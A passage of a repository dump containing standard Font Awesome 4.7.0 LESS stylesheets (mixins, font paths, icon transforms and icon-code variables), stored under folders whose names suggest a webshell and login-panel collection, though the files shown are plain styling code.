    "content": "// Mixins\n// --------------------------\n\n.fa-icon() {\n  display: inline-block;\n  font: normal normal normal @fa-font-size-base/@fa-line-height-base FontAwesome; // shortening font declaration\n  font-size: inherit; // can't have font-size inherit on line above, so need to override\n  text-rendering: auto; // optimizelegibility throws things off #1094\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n\n}\n\n.fa-icon-rotate(@degrees, @rotation) {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=@{rotation})\";\n  -webkit-transform: rotate(@degrees);\n      -ms-transform: rotate(@degrees);\n          transform: rotate(@degrees);\n}\n\n.fa-icon-flip(@horiz, @vert, @rotation) {\n  -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=@{rotation}, mirror=1)\";\n  -webkit-transform: scale(@horiz, @vert);\n      -ms-transform: scale(@horiz, @vert);\n          transform: scale(@horiz, @vert);\n}\n\n\n// Only display content to screen readers. A la Bootstrap 4.\n//\n// See: http://a11yproject.com/posts/how-to-hide-content/\n\n.sr-only() {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0,0,0,0);\n  border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n//\n// Useful for \"Skip to main content\" links; see http://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n//\n// Credit: HTML5 Boilerplate\n\n.sr-only-focusable() {\n  &:active,\n  &:focus {\n    position: static;\n    width: auto;\n    height: auto;\n    margin: 0;\n    overflow: visible;\n    clip: auto;\n  }\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/path.less",
    "content": "/* FONT PATH\n * -------------------------- */\n\n@font-face {\n  font-family: 'FontAwesome';\n  src: url('@{fa-font-path}/fontawesome-webfont.eot?v=@{fa-version}');\n  src: url('@{fa-font-path}/fontawesome-webfont.eot?#iefix&v=@{fa-version}') format('embedded-opentype'),\n    url('@{fa-font-path}/fontawesome-webfont.woff2?v=@{fa-version}') format('woff2'),\n    url('@{fa-font-path}/fontawesome-webfont.woff?v=@{fa-version}') format('woff'),\n    url('@{fa-font-path}/fontawesome-webfont.ttf?v=@{fa-version}') format('truetype'),\n    url('@{fa-font-path}/fontawesome-webfont.svg?v=@{fa-version}#fontawesomeregular') format('svg');\n  // src: url('@{fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts\n  font-weight: normal;\n  font-style: normal;\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/rotated-flipped.less",
    "content": "// Rotated & Flipped Icons\n// -------------------------\n\n.@{fa-css-prefix}-rotate-90  { .fa-icon-rotate(90deg, 1);  }\n.@{fa-css-prefix}-rotate-180 { .fa-icon-rotate(180deg, 2); }\n.@{fa-css-prefix}-rotate-270 { .fa-icon-rotate(270deg, 3); }\n\n.@{fa-css-prefix}-flip-horizontal { .fa-icon-flip(-1, 1, 0); }\n.@{fa-css-prefix}-flip-vertical   { .fa-icon-flip(1, -1, 2); }\n\n// Hook for IE8-9\n// -------------------------\n\n:root .@{fa-css-prefix}-rotate-90,\n:root .@{fa-css-prefix}-rotate-180,\n:root .@{fa-css-prefix}-rotate-270,\n:root .@{fa-css-prefix}-flip-horizontal,\n:root .@{fa-css-prefix}-flip-vertical {\n  filter: none;\n}\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/screen-reader.less",
    "content": "// Screen Readers\n// -------------------------\n\n.sr-only { .sr-only(); }\n.sr-only-focusable { .sr-only-focusable(); }\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/stacked.less",
    "content": "// Stacked Icons\n// -------------------------\n\n.@{fa-css-prefix}-stack {\n  position: relative;\n  display: inline-block;\n  width: 2em;\n  height: 2em;\n  line-height: 2em;\n  vertical-align: middle;\n}\n.@{fa-css-prefix}-stack-1x, .@{fa-css-prefix}-stack-2x {\n  position: absolute;\n  left: 0;\n  width: 100%;\n  text-align: center;\n}\n.@{fa-css-prefix}-stack-1x { line-height: inherit; }\n.@{fa-css-prefix}-stack-2x { font-size: 2em; }\n.@{fa-css-prefix}-inverse { color: @fa-inverse; }\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/fonts/font-awesome-4.7.0/less/variables.less",
    "content": "// Variables\n// --------------------------\n\n@fa-font-path:        \"../fonts\";\n@fa-font-size-base:   14px;\n@fa-line-height-base: 1;\n//@fa-font-path:        \"//netdna.bootstrapcdn.com/font-awesome/4.7.0/fonts\"; // for referencing Bootstrap CDN font files directly\n@fa-css-prefix:       fa;\n@fa-version:          \"4.7.0\";\n@fa-border-color:     #eee;\n@fa-inverse:          #fff;\n@fa-li-width:         (30em / 14);\n\n@fa-var-500px: \"\\f26e\";\n@fa-var-address-book: \"\\f2b9\";\n@fa-var-address-book-o: \"\\f2ba\";\n@fa-var-address-card: \"\\f2bb\";\n@fa-var-address-card-o: \"\\f2bc\";\n@fa-var-adjust: \"\\f042\";\n@fa-var-adn: \"\\f170\";\n@fa-var-align-center: \"\\f037\";\n@fa-var-align-justify: \"\\f039\";\n@fa-var-align-left: \"\\f036\";\n@fa-var-align-right: \"\\f038\";\n@fa-var-amazon: \"\\f270\";\n@fa-var-ambulance: \"\\f0f9\";\n@fa-var-american-sign-language-interpreting: \"\\f2a3\";\n@fa-var-anchor: \"\\f13d\";\n@fa-var-android: \"\\f17b\";\n@fa-var-angellist: \"\\f209\";\n@fa-var-angle-double-down: \"\\f103\";\n@fa-var-angle-double-left: \"\\f100\";\n@fa-var-angle-double-right: \"\\f101\";\n@fa-var-angle-double-up: \"\\f102\";\n@fa-var-angle-down: \"\\f107\";\n@fa-var-angle-left: \"\\f104\";\n@fa-var-angle-right: \"\\f105\";\n@fa-var-angle-up: \"\\f106\";\n@fa-var-apple: \"\\f179\";\n@fa-var-archive: \"\\f187\";\n@fa-var-area-chart: \"\\f1fe\";\n@fa-var-arrow-circle-down: \"\\f0ab\";\n@fa-var-arrow-circle-left: \"\\f0a8\";\n@fa-var-arrow-circle-o-down: \"\\f01a\";\n@fa-var-arrow-circle-o-left: \"\\f190\";\n@fa-var-arrow-circle-o-right: \"\\f18e\";\n@fa-var-arrow-circle-o-up: \"\\f01b\";\n@fa-var-arrow-circle-right: \"\\f0a9\";\n@fa-var-arrow-circle-up: \"\\f0aa\";\n@fa-var-arrow-down: \"\\f063\";\n@fa-var-arrow-left: \"\\f060\";\n@fa-var-arrow-right: \"\\f061\";\n@fa-var-arrow-up: \"\\f062\";\n@fa-var-arrows: \"\\f047\";\n@fa-var-arrows-alt: \"\\f0b2\";\n@fa-var-arrows-h: \"\\f07e\";\n@fa-var-arrows-v: \"\\f07d\";\n@fa-var-asl-interpreting: \"\\f2a3\";\n@fa-var-assistive-listening-systems: \"\\f2a2\";\n@fa-var-asterisk: \"\\f069\";\n@fa-var-at: \"\\f1fa\";\n@fa-var-audio-description: \"\\f29e\";\n@fa-var-automobile: \"\\f1b9\";\n@fa-var-backward: \"\\f04a\";\n@fa-var-balance-scale: \"\\f24e\";\n@fa-var-ban: \"\\f05e\";\n@fa-var-bandcamp: \"\\f2d5\";\n@fa-var-bank: \"\\f19c\";\n@fa-var-bar-chart: \"\\f080\";\n@fa-var-bar-chart-o: \"\\f080\";\n@fa-var-barcode: \"\\f02a\";\n@fa-var-bars: \"\\f0c9\";\n@fa-var-bath: \"\\f2cd\";\n@fa-var-bathtub: \"\\f2cd\";\n@fa-var-battery: \"\\f240\";\n@fa-var-battery-0: \"\\f244\";\n@fa-var-battery-1: \"\\f243\";\n@fa-var-battery-2: \"\\f242\";\n@fa-var-battery-3: \"\\f241\";\n@fa-var-battery-4: \"\\f240\";\n@fa-var-battery-empty: \"\\f244\";\n@fa-var-battery-full: \"\\f240\";\n@fa-var-battery-half: \"\\f242\";\n@fa-var-battery-quarter: \"\\f243\";\n@fa-var-battery-three-quarters: \"\\f241\";\n@fa-var-bed: \"\\f236\";\n@fa-var-beer: \"\\f0fc\";\n@fa-var-behance: \"\\f1b4\";\n@fa-var-behance-square: \"\\f1b5\";\n@fa-var-bell: \"\\f0f3\";\n@fa-var-bell-o: \"\\f0a2\";\n@fa-var-bell-slash: \"\\f1f6\";\n@fa-var-bell-slash-o: \"\\f1f7\";\n@fa-var-bicycle: \"\\f206\";\n@fa-var-binoculars: \"\\f1e5\";\n@fa-var-birthday-cake: \"\\f1fd\";\n@fa-var-bitbucket: \"\\f171\";\n@fa-var-bitbucket-square: \"\\f172\";\n@fa-var-bitcoin: \"\\f15a\";\n@fa-var-black-tie: \"\\f27e\";\n@fa-var-blind: \"\\f29d\";\n@fa-var-bluetooth: \"\\f293\";\n@fa-var-bluetooth-b: \"\\f294\";\n@fa-var-bold: \"\\f032\";\n@fa-var-bolt: \"\\f0e7\";\n@fa-var-bomb: \"\\f1e2\";\n@fa-var-book: \"\\f02d\";\n@fa-var-bookmark: \"\\f02e\";\n@fa-var-bookmark-o: \"\\f097\";\n@fa-var-braille: \"\\f2a1\";\n@fa-var-briefcase: \"\\f0b1\";\n@fa-var-btc: \"\\f15a\";\n@fa-var-bug: \"\\f188\";\n@fa-var-building: \"\\f1ad\";\n@fa-var-building-o: \"\\f0f7\";\n@fa-var-bullhorn: \"\\f0a1\";\n@fa-var-bullseye: \"\\f140\";\n@fa-var-bus: \"\\f207\";\n@fa-var-buysellads: \"\\f20d\";\n@fa-var-cab: \"\\f1ba\";\n@fa-var-calculator: \"\\f1ec\";\n@fa-var-calendar: \"\\f073\";\n@fa-var-calendar-check-o: \"\\f274\";\n@fa-var-calendar-minus-o: \"\\f272\";\n@fa-var-calendar-o: \"\\f133\";\n@fa-var-calendar-plus-o: \"\\f271\";\n@fa-var-calendar-times-o: \"\\f273\";\n@fa-var-camera: \"\\f030\";\n@fa-var-camera-retro: \"\\f083\";\n@fa-var-car: \"\\f1b9\";\n@fa-var-caret-down: \"\\f0d7\";\n@fa-var-caret-left: \"\\f0d9\";\n@fa-var-caret-right: \"\\f0da\";\n@fa-var-caret-square-o-down: \"\\f150\";\n@fa-var-caret-square-o-left: \"\\f191\";\n@fa-var-caret-square-o-right: \"\\f152\";\n@fa-var-caret-square-o-up: \"\\f151\";\n@fa-var-caret-up: \"\\f0d8\";\n@fa-var-cart-arrow-down: \"\\f218\";\n@fa-var-cart-plus: \"\\f217\";\n@fa-var-cc: \"\\f20a\";\n@fa-var-cc-amex: \"\\f1f3\";\n@fa-var-cc-diners-club: \"\\f24c\";\n@fa-var-cc-discover: \"\\f1f2\";\n@fa-var-cc-jcb: \"\\f24b\";\n@fa-var-cc-mastercard: \"\\f1f1\";\n@fa-var-cc-paypal: \"\\f1f4\";\n@fa-var-cc-stripe: \"\\f1f5\";\n@fa-var-cc-visa: \"\\f1f0\";\n@fa-var-certificate: \"\\f0a3\";\n@fa-var-chain: \"\\f0c1\";\n@fa-var-chain-broken: \"\\f127\";\n@fa-var-check: \"\\f00c\";\n@fa-var-check-circle: \"\\f058\";\n@fa-var-check-circle-o: \"\\f05d\";\n@fa-var-check-square: \"\\f14a\";\n@fa-var-check-square-o: \"\\f046\";\n@fa-var-chevron-circle-down: \"\\f13a\";\n@fa-var-chevron-circle-left: \"\\f137\";\n@fa-var-chevron-circle-right: \"\\f138\";\n@fa-var-chevron-circle-up: \"\\f139\";\n@fa-var-chevron-down: \"\\f078\";\n@fa-var-chevron-left: \"\\f053\";\n@fa-var-chevron-right: \"\\f054\";\n@fa-var-chevron-up: \"\\f077\";\n@fa-var-child: \"\\f1ae\";\n@fa-var-chrome: \"\\f268\";\n@fa-var-circle: \"\\f111\";\n@fa-var-circle-o: \"\\f10c\";\n@fa-var-circle-o-notch: \"\\f1ce\";\n@fa-var-circle-thin: \"\\f1db\";\n@fa-var-clipboard: \"\\f0ea\";\n@fa-var-clock-o: \"\\f017\";\n@fa-var-clone: \"\\f24d\";\n@fa-var-close: \"\\f00d\";\n@fa-var-cloud: \"\\f0c2\";\n@fa-var-cloud-download: \"\\f0ed\";\n@fa-var-cloud-upload: \"\\f0ee\";\n@fa-var-cny: \"\\f157\";\n@fa-var-code: \"\\f121\";\n@fa-var-code-fork: \"\\f126\";\n@fa-var-codepen: \"\\f1cb\";\n@fa-var-codiepie: \"\\f284\";\n@fa-var-coffee: \"\\f0f4\";\n@fa-var-cog: \"\\f013\";\n@fa-var-cogs: \"\\f085\";\n@fa-var-columns: \"\\f0db\";\n@fa-var-comment: \"\\f075\";\n@fa-var-comment-o: \"\\f0e5\";\n@fa-var-commenting: \"\\f27a\";\n@fa-var-commenting-o: \"\\f27b\";\n@fa-var-comments: \"\\f086\";\n@fa-var-comments-o: \"\\f0e6\";\n@fa-var-compass: \"\\f14e\";\n@fa-var-compress: \"\\f066\";\n@fa-var-connectdevelop: \"\\f20e\";\n@fa-var-contao: \"\\f26d\";\n@fa-var-copy: \"\\f0c5\";\n@fa-var-copyright: \"\\f1f9\";\n@fa-var-creative-commons: \"\\f25e\";\n@fa-var-credit-card: \"\\f09d\";\n@fa-var-credit-card-alt: \"\\f283\";\n@fa-var-crop: \"\\f125\";\n@fa-var-crosshairs: \"\\f05b\";\n@fa-var-css3: \"\\f13c\";\n@fa-var-cube: \"\\f1b2\";\n@fa-var-cubes: \"\\f1b3\";\n@fa-var-cut: \"\\f0c4\";\n@fa-var-cutlery: \"\\f0f5\";\n@fa-var-dashboard: \"\\f0e4\";\n@fa-var-dashcube: \"\\f210\";\n@fa-var-database: \"\\f1c0\";\n@fa-var-deaf: \"\\f2a4\";\n@fa-var-deafness: \"\\f2a4\";\n@fa-var-dedent: \"\\f03b\";\n@fa-var-delicious: \"\\f1a5\";\n@fa-var-desktop: \"\\f108\";\n@fa-var-deviantart: \"\\f1bd\";\n@fa-var-diamond: \"\\f219\";\n@fa-var-digg: \"\\f1a6\";\n@fa-var-dollar: \"\\f155\";\n@fa-var-dot-circle-o: \"\\f192\";\n@fa-var-download: \"\\f019\";\n@fa-var-dribbble: \"\\f17d\";\n@fa-var-drivers-license: \"\\f2c2\";\n@fa-var-drivers-license-o: \"\\f2c3\";\n@fa-var-dropbox: \"\\f16b\";\n@fa-var-drupal: \"\\f1a9\";\n@fa-var-edge: \"\\f282\";\n@fa-var-edit: \"\\f044\";\n@fa-var-eercast: \"\\f2da\";\n@fa-var-eject: \"\\f052\";\n@fa-var-ellipsis-h: \"\\f141\";\n@fa-var-ellipsis-v: \"\\f142\";\n@fa-var-empire: \"\\f1d1\";\n@fa-var-envelope: \"\\f0e0\";\n@fa-var-envelope-o: \"\\f003\";\n@fa-var-envelope-open: \"\\f2b6\";\n@fa-var-envelope-open-o: \"\\f2b7\";\n@fa-var-envelope-square: \"\\f199\";\n@fa-var-envira: \"\\f299\";\n@fa-var-eraser: \"\\f12d\";\n@fa-var-etsy: \"\\f2d7\";\n@fa-var-eur: \"\\f153\";\n@fa-var-euro: \"\\f153\";\n@fa-var-exchange: \"\\f0ec\";\n@fa-var-exclamation: \"\\f12a\";\n@fa-var-exclamation-circle: \"\\f06a\";\n@fa-var-exclamation-triangle: \"\\f071\";\n@fa-var-expand: \"\\f065\";\n@fa-var-expeditedssl: \"\\f23e\";\n@fa-var-external-link: \"\\f08e\";\n@fa-var-external-link-square: \"\\f14c\";\n@fa-var-eye: \"\\f06e\";\n@fa-var-eye-slash: \"\\f070\";\n@fa-var-eyedropper: \"\\f1fb\";\n@fa-var-fa: \"\\f2b4\";\n@fa-var-facebook: \"\\f09a\";\n@fa-var-facebook-f: \"\\f09a\";\n@fa-var-facebook-official: \"\\f230\";\n@fa-var-facebook-square: \"\\f082\";\n@fa-var-fast-backward: \"\\f049\";\n@fa-var-fast-forward: \"\\f050\";\n@fa-var-fax: \"\\f1ac\";\n@fa-var-feed: \"\\f09e\";\n@fa-var-female: \"\\f182\";\n@fa-var-fighter-jet: \"\\f0fb\";\n@fa-var-file: \"\\f15b\";\n@fa-var-file-archive-o: \"\\f1c6\";\n@fa-var-file-audio-o: \"\\f1c7\";\n@fa-var-file-code-o: \"\\f1c9\";\n@fa-var-file-excel-o: \"\\f1c3\";\n@fa-var-file-image-o: \"\\f1c5\";\n@fa-var-file-movie-o: \"\\f1c8\";\n@fa-var-file-o: \"\\f016\";\n@fa-var-file-pdf-o: \"\\f1c1\";\n@fa-var-file-photo-o: \"\\f1c5\";\n@fa-var-file-picture-o: \"\\f1c5\";\n@fa-var-file-powerpoint-o: \"\\f1c4\";\n@fa-var-file-sound-o: \"\\f1c7\";\n@fa-var-file-text: \"\\f15c\";\n@fa-var-file-text-o: \"\\f0f6\";\n@fa-var-file-video-o: \"\\f1c8\";\n@fa-var-file-word-o: \"\\f1c2\";\n@fa-var-file-zip-o: \"\\f1c6\";\n@fa-var-files-o: \"\\f0c5\";\n@fa-var-film: \"\\f008\";\n@fa-var-filter: \"\\f0b0\";\n@fa-var-fire: \"\\f06d\";\n@fa-var-fire-extinguisher: \"\\f134\";\n@fa-var-firefox: \"\\f269\";\n@fa-var-first-order: \"\\f2b0\";\n@fa-var-flag: \"\\f024\";\n@fa-var-flag-checkered: \"\\f11e\";\n@fa-var-flag-o: \"\\f11d\";\n@fa-var-flash: \"\\f0e7\";\n@fa-var-flask: \"\\f0c3\";\n@fa-var-flickr: \"\\f16e\";\n@fa-var-floppy-o: \"\\f0c7\";\n@fa-var-folder: \"\\f07b\";\n@fa-var-folder-o: \"\\f114\";\n@fa-var-folder-open: \"\\f07c\";\n@fa-var-folder-open-o: \"\\f115\";\n@fa-var-font: \"\\f031\";\n@fa-var-font-awesome: \"\\f2b4\";\n@fa-var-fonticons: \"\\f280\";\n@fa-var-fort-awesome: \"\\f286\";\n@fa-var-forumbee: \"\\f211\";\n@fa-var-forward: \"\\f04e\";\n@fa-var-foursquare: \"\\f180\";\n@fa-var-free-code-camp: \"\\f2c5\";\n@fa-var-frown-o: \"\\f119\";\n@fa-var-futbol-o: \"\\f1e3\";\n@fa-var-gamepad: \"\\f11b\";\n@fa-var-gavel: \"\\f0e3\";\n@fa-var-gbp: \"\\f154\";\n@fa-var-ge: \"\\f1d1\";\n@fa-var-gear: \"\\f013\";\n@fa-var-gears: \"\\f085\";\n@fa-var-genderless: \"\\f22d\";\n@fa-var-get-pocket: \"\\f265\";\n@fa-var-gg: \"\\f260\";\n@fa-var-gg-circle: \"\\f261\";\n@fa-var-gift: \"\\f06b\";\n@fa-var-git: \"\\f1d3\";\n@fa-var-git-square: \"\\f1d2\";\n@fa-var-github: \"\\f09b\";\n@fa-var-github-alt: \"\\f113\";\n@fa-var-github-square: \"\\f092\";\n@fa-var-gitlab: \"\\f296\";\n@fa-var-gittip: \"\\f184\";\n@fa-var-glass: \"\\f000\";\n@fa-var-glide: \"\\f2a5\";\n@fa-var-glide-g: \"\\f2a6\";\n@fa-var-globe: \"\\f0ac\";\n@fa-var-google: \"\\f1a0\";\n@fa-var-google-plus: \"\\f0d5\";\n@fa-var-google-plus-circle: \"\\f2b3\";\n@fa-var-google-plus-official: \"\\f2b3\";\n@fa-var-google-plus-square: \"\\f0d4\";\n@fa-var-google-wallet: \"\\f1ee\";\n@fa-var-graduation-cap: \"\\f19d\";\n@fa-var-gratipay: \"\\f184\";\n@fa-var-grav: \"\\f2d6\";\n@fa-var-group: \"\\f0c0\";\n@fa-var-h-square: \"\\f0fd\";\n@fa-var-hacker-news: \"\\f1d4\";\n@fa-var-hand-grab-o: \"\\f255\";\n@fa-var-hand-lizard-o: \"\\f258\";\n@fa-var-hand-o-down: \"\\f0a7\";\n@fa-var-hand-o-left: \"\\f0a5\";\n@fa-var-hand-o-right: \"\\f0a4\";\n@fa-var-hand-o-up: \"\\f0a6\";\n@fa-var-hand-paper-o: \"\\f256\";\n@fa-var-hand-peace-o: \"\\f25b\";\n@fa-var-hand-pointer-o: \"\\f25a\";\n@fa-var-hand-rock-o: \"\\f255\";\n@fa-var-hand-scissors-o: \"\\f257\";\n@fa-var-hand-spock-o: \"\\f259\";\n@fa-var-hand-stop-o: \"\\f256\";\n@fa-var-handshake-o: \"\\f2b5\";\n@fa-var-hard-of-hearing: \"\\f2a4\";\n@fa-var-hashtag: \"\\f292\";\n@fa-var-hdd-o: \"\\f0a0\";\n@fa-var-header: \"\\f1dc\";\n@fa-var-headphones: \"\\f025\";\n@fa-var-heart: \"\\f004\";\n@fa-var-heart-o: \"\\f08a\";\n@fa-var-heartbeat: \"\\f21e\";\n@fa-var-history: \"\\f1da\";\n@fa-var-home: \"\\f015\";\n@fa-var-hospital-o: \"\\f0f8\";\n@fa-var-hotel: \"\\f236\";\n@fa-var-hourglass: \"\\f254\";\n@fa-var-hourglass-1: \"\\f251\";\n@fa-var-hourglass-2: \"\\f252\";\n@fa-var-hourglass-3: \"\\f253\";\n@fa-var-hourglass-end: \"\\f253\";\n@fa-var-hourglass-half: \"\\f252\";\n@fa-var-hourglass-o: \"\\f250\";\n@fa-var-hourglass-start: \"\\f251\";\n@fa-var-houzz: \"\\f27c\";\n@fa-var-html5: \"\\f13b\";\n@fa-var-i-cursor: \"\\f246\";\n@fa-var-id-badge: \"\\f2c1\";\n@fa-var-id-card: \"\\f2c2\";\n@fa-var-id-card-o: \"\\f2c3\";\n@fa-var-ils: \"\\f20b\";\n@fa-var-image: \"\\f03e\";\n@fa-var-imdb: \"\\f2d8\";\n@fa-var-inbox: \"\\f01c\";\n@fa-var-indent: \"\\f03c\";\n@fa-var-industry: \"\\f275\";\n@fa-var-info: \"\\f129\";\n@fa-var-info-circle: \"\\f05a\";\n@fa-var-inr: \"\\f156\";\n@fa-var-instagram: \"\\f16d\";\n@fa-var-institution: \"\\f19c\";\n@fa-var-internet-explorer: \"\\f26b\";\n@fa-var-intersex: \"\\f224\";\n@fa-var-ioxhost: \"\\f208\";\n@fa-var-italic: \"\\f033\";\n@fa-var-joomla: \"\\f1aa\";\n@fa-var-jpy: \"\\f157\";\n@fa-var-jsfiddle: \"\\f1cc\";\n@fa-var-key: \"\\f084\";\n@fa-var-keyboard-o: \"\\f11c\";\n@fa-var-krw: \"\\f159\";\n@fa-var-language: \"\\f1ab\";\n@fa-var-laptop: \"\\f109\";\n@fa-var-lastfm: \"\\f202\";\n@fa-var-lastfm-square: \"\\f203\";\n@fa-var-leaf: \"\\f06c\";\n@fa-var-leanpub: \"\\f212\";\n@fa-var-legal: \"\\f0e3\";\n@fa-var-lemon-o: \"\\f094\";\n@fa-var-level-down: \"\\f149\";\n@fa-var-level-up: \"\\f148\";\n@fa-var-life-bouy: \"\\f1cd\";\n@fa-var-life-buoy: \"\\f1cd\";\n@fa-var-life-ring: \"\\f1cd\";\n@fa-var-life-saver: \"\\f1cd\";\n@fa-var-lightbulb-o: \"\\f0eb\";\n@fa-var-line-chart: \"\\f201\";\n@fa-var-link: \"\\f0c1\";\n@fa-var-linkedin: \"\\f0e1\";\n@fa-var-linkedin-square: \"\\f08c\";\n@fa-var-linode: \"\\f2b8\";\n@fa-var-linux: \"\\f17c\";\n@fa-var-list: \"\\f03a\";\n@fa-var-list-alt: \"\\f022\";\n@fa-var-list-ol: \"\\f0cb\";\n@fa-var-list-ul: \"\\f0ca\";\n@fa-var-location-arrow: \"\\f124\";\n@fa-var-lock: \"\\f023\";\n@fa-var-long-arrow-down: \"\\f175\";\n@fa-var-long-arrow-left: \"\\f177\";\n@fa-var-long-arrow-right: \"\\f178\";\n@fa-var-long-arrow-up: \"\\f176\";\n@fa-var-low-vision: \"\\f2a8\";\n@fa-var-magic: \"\\f0d0\";\n@fa-var-magnet: \"\\f076\";\n@fa-var-mail-forward: \"\\f064\";\n@fa-var-mail-reply: \"\\f112\";\n@fa-var-mail-reply-all: \"\\f122\";\n@fa-var-male: \"\\f183\";\n@fa-var-map: \"\\f279\";\n@fa-var-map-marker: \"\\f041\";\n@fa-var-map-o: \"\\f278\";\n@fa-var-map-pin: \"\\f276\";\n@fa-var-map-signs: \"\\f277\";\n@fa-var-mars: \"\\f222\";\n@fa-var-mars-double: \"\\f227\";\n@fa-var-mars-stroke: \"\\f229\";\n@fa-var-mars-stroke-h: \"\\f22b\";\n@fa-var-mars-stroke-v: \"\\f22a\";\n@fa-var-maxcdn: \"\\f136\";\n@fa-var-meanpath: \"\\f20c\";\n@fa-var-medium: \"\\f23a\";\n@fa-var-medkit: \"\\f0fa\";\n@fa-var-meetup: \"\\f2e0\";\n@fa-var-meh-o: \"\\f11a\";\n@fa-var-mercury: \"\\f223\";\n@fa-var-microchip: \"\\f2db\";\n@fa-var-microphone: \"\\f130\";\n@fa-var-microphone-slash: \"\\f131\";\n@fa-var-minus: \"\\f068\";\n@fa-var-minus-circle: \"\\f056\";\n@fa-var-minus-square: \"\\f146\";\n@fa-var-minus-square-o: \"\\f147\";\n@fa-var-mixcloud: \"\\f289\";\n@fa-var-mobile: \"\\f10b\";\n@fa-var-mobile-phone: \"\\f10b\";\n@fa-var-modx: \"\\f285\";\n@fa-var-money: \"\\f0d6\";\n@fa-var-moon-o: \"\\f186\";\n@fa-var-mortar-board: \"\\f19d\";\n@fa-var-motorcycle: \"\\f21c\";\n@fa-var-mouse-pointer: \"\\f245\";\n@fa-var-music: \"\\f001\";\n@fa-var-navicon: \"\\f0c9\";\n@fa-var-neuter: \"\\f22c\";\n@fa-var-newspaper-o: \"\\f1ea\";\n@fa-var-object-group: \"\\f247\";\n@fa-var-object-ungroup: \"\\f248\";\n@fa-var-odnoklassniki: \"\\f263\";\n@fa-var-odnoklassniki-square: \"\\f264\";\n@fa-var-opencart: \"\\f23d\";\n@fa-var-openid: \"\\f19b\";\n@fa-var-opera: \"\\f26a\";\n@fa-var-optin-monster: \"\\f23c\";\n@fa-var-outdent: \"\\f03b\";\n@fa-var-pagelines: \"\\f18c\";\n@fa-var-paint-brush: \"\\f1fc\";\n@fa-var-paper-plane: \"\\f1d8\";\n@fa-var-paper-plane-o: \"\\f1d9\";\n@fa-var-paperclip: \"\\f0c6\";\n@fa-var-paragraph: \"\\f1dd\";\n@fa-var-paste: \"\\f0ea\";\n@fa-var-pause: \"\\f04c\";\n@fa-var-pause-circle: \"\\f28b\";\n@fa-var-pause-circle-o: \"\\f28c\";\n@fa-var-paw: \"\\f1b0\";\n@fa-var-paypal: \"\\f1ed\";\n@fa-var-pencil: \"\\f040\";\n@fa-var-pencil-square: \"\\f14b\";\n@fa-var-pencil-square-o: \"\\f044\";\n@fa-var-percent: \"\\f295\";\n@fa-var-phone: \"\\f095\";\n@fa-var-phone-square: \"\\f098\";\n@fa-var-photo: \"\\f03e\";\n@fa-var-picture-o: \"\\f03e\";\n@fa-var-pie-chart: \"\\f200\";\n@fa-var-pied-piper: \"\\f2ae\";\n@fa-var-pied-piper-alt: \"\\f1a8\";\n@fa-var-pied-piper-pp: \"\\f1a7\";\n@fa-var-pinterest: \"\\f0d2\";\n@fa-var-pinterest-p: \"\\f231\";\n@fa-var-pinterest-square: \"\\f0d3\";\n@fa-var-plane: \"\\f072\";\n@fa-var-play: \"\\f04b\";\n@fa-var-play-circle: \"\\f144\";\n@fa-var-play-circle-o: \"\\f01d\";\n@fa-var-plug: \"\\f1e6\";\n@fa-var-plus: \"\\f067\";\n@fa-var-plus-circle: \"\\f055\";\n@fa-var-plus-square: \"\\f0fe\";\n@fa-var-plus-square-o: \"\\f196\";\n@fa-var-podcast: \"\\f2ce\";\n@fa-var-power-off: \"\\f011\";\n@fa-var-print: \"\\f02f\";\n@fa-var-product-hunt: \"\\f288\";\n@fa-var-puzzle-piece: \"\\f12e\";\n@fa-var-qq: \"\\f1d6\";\n@fa-var-qrcode: \"\\f029\";\n@fa-var-question: \"\\f128\";\n@fa-var-question-circle: \"\\f059\";\n@fa-var-question-circle-o: \"\\f29c\";\n@fa-var-quora: \"\\f2c4\";\n@fa-var-quote-left: \"\\f10d\";\n@fa-var-quote-right: \"\\f10e\";\n@fa-var-ra: \"\\f1d0\";\n@fa-var-random: \"\\f074\";\n@fa-var-ravelry: \"\\f2d9\";\n@fa-var-rebel: \"\\f1d0\";\n@fa-var-recycle: \"\\f1b8\";\n@fa-var-reddit: \"\\f1a1\";\n@fa-var-reddit-alien: \"\\f281\";\n@fa-var-reddit-square: \"\\f1a2\";\n@fa-var-refresh: \"\\f021\";\n@fa-var-registered: \"\\f25d\";\n@fa-var-remove: \"\\f00d\";\n@fa-var-renren: \"\\f18b\";\n@fa-var-reorder: \"\\f0c9\";\n@fa-var-repeat: \"\\f01e\";\n@fa-var-reply: \"\\f112\";\n@fa-var-reply-all: \"\\f122\";\n@fa-var-resistance: \"\\f1d0\";\n@fa-var-retweet: \"\\f079\";\n@fa-var-rmb: \"\\f157\";\n@fa-var-road: \"\\f018\";\n@fa-var-rocket: \"\\f135\";\n@fa-var-rotate-left: \"\\f0e2\";\n@fa-var-rotate-right: \"\\f01e\";\n@fa-var-rouble: \"\\f158\";\n@fa-var-rss: \"\\f09e\";\n@fa-var-rss-square: \"\\f143\";\n@fa-var-rub: \"\\f158\";\n@fa-var-ruble: \"\\f158\";\n@fa-var-rupee: \"\\f156\";\n@fa-var-s15: \"\\f2cd\";\n@fa-var-safari: \"\\f267\";\n@fa-var-save: \"\\f0c7\";\n@fa-var-scissors: \"\\f0c4\";\n@fa-var-scribd: \"\\f28a\";\n@fa-var-search: \"\\f002\";\n@fa-var-search-minus: \"\\f010\";\n@fa-var-search-plus: \"\\f00e\";\n@fa-var-sellsy: \"\\f213\";\n@fa-var-send: \"\\f1d8\";\n@fa-var-send-o: 